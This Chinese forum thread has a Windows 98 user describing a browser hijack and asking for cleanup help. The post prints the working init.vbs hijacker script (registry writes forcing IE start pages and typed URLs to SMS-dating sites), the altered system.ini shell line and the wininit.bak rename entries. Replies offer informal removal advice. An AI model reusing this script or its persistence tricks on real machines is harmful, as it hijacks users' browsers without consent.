这是什么东西？

弱智

事情是这样的：

机器配置：Windows98 第二版，IE6+sp1，
1、网友在QQ里发了个地址，不好意思，URL我忘了。在IE6的地址栏里键入之后，看到一手机短信“激情交友”的页面。我想，坏了，说不定改了什么了。

2、查看IE6的Internet选项，发现默认页面已被改成 "mysms.163y.com"，重启电脑，无法改回默认页面。运行msconfig，在“启动”中，增加了：“C:\WINDOWS\explorer.hta ”
运行msconfig，在system.ini中“boot”中，shell=Explorer.exe 被改成
shell=Explorer.exe C:\WINDOWS\Init.vbs
   
3、运行regedit, 发现一些新增加的键和键值（lxb2003.sms.163.com）。

4、检查发现，多了这个文件：c:\windows\init.vbs，   内容：

Set FSO = WScript.CreateObject("Scripting.FileSystemObject"
FSO.CopyFile "C:\WINDOWS\system.ini","C:\WINDOWS\system.tmp"
If FSO.FileExists("C:\WINDOWS\wininit.bak" Then FSO.CopyFile"C:\WINDOWS\wininit.bak","C:\WINDOWS\wininit.ini"
Set Shell = WScript.CreateObject("WScript.Shell"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url1","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url2","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url3","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url4","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url5","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url6","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url7","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url8","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url9","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url10","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url11","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url12","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url13","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs\url14","http://lxb2003.honey.163.com"
Shell.RegWrite "HKEY_CURRENT_USER\SoftWare\Microsoft\Internet Explorer\Main\Start Page","http://mysms.163y.com"
Shell.RegWrite "HKEY_CURRENT_USER\SoftWare\Microsoft\Internet Explorer\Main\First Home Page","http://lxb2003.sms.163.com"






被更改了这个文件：c:\windows\wininit.bak，   内容：
[rename]
C:\WINDOWS\system.old=C:\WINDOWS\system.ini
C:\WINDOWS\system.ini=C:\WINDOWS\system.tmp
[rename]
C:\WINDOWS\system.old=C:\WINDOWS\system.ini
C:\WINDOWS\system.ini=C:\WINDOWS\system.tmp
NUL=C:\WINDOWS\TEMP\GLB1A2B.EXE
NUL=C:\WINDOWS\TEMP\GLB1A2B.EXE
NUL=C:\WINDOWS\TEMP\_iu14D2N.tmp
   


5、于是，手动清除。
c:\windows>;del .\init.vbs
c:\windows>;del .\temp\.
c:\windows>;del .\*.hta
c:\windows>;del .\wininit.bak
c:\windows>;copy .\wininit.sav .\wininit.bak
接着，改回在注册表中的键值。



问题是：
在c:\windows\wininit.bak中“NUL=C:\WINDOWS\TEMP\GLB1A2B.EXE”是什么东西？
还有，我的这样清除方法可行么？是否还有什么没有清除干净？
谢谢！
    

adrianke

你不如用个魔法兔子，还不用手动清除

弱智

呵呵，不是没有装魔法兔子么~~
再说，自己动手心里面明白怎么回事。

无花果

管他是什么, 不正常的, 删!!!

づ★sl战神

我不同意楼上的这位观点`！

对于你的那个问题
我倒是觉得你基本上搞定了~！
呵呵`！

花背鼠

TEMP下的尽管删除，肯定有鬼

adrianke

同意楼上的，我的*.tmp文件全部删光

fanfan

我以前也碰到过，比那个还厉害的，一打开一个网页，立即弹出无数个窗口，魔法兔子也不好使，只好重装ie

depike

我觉得仅这样删除还是不够的，Happytime病毒大家应该听说过，它感染的原理类似于楼主所说的情况，发作现象类似于楼上所说的，开窗口，其实这个时候，系统中所有的.htm文件均被感染了，在每一个htm文件末尾都添加了一段恶意代码，所以请楼主还是好好一下htm文件是否正常，最好用norton杀一下比较好，另外norton对于script攻击防御的也是比较好的。

弱智

谢谢各位大哥！
让小弟试试看。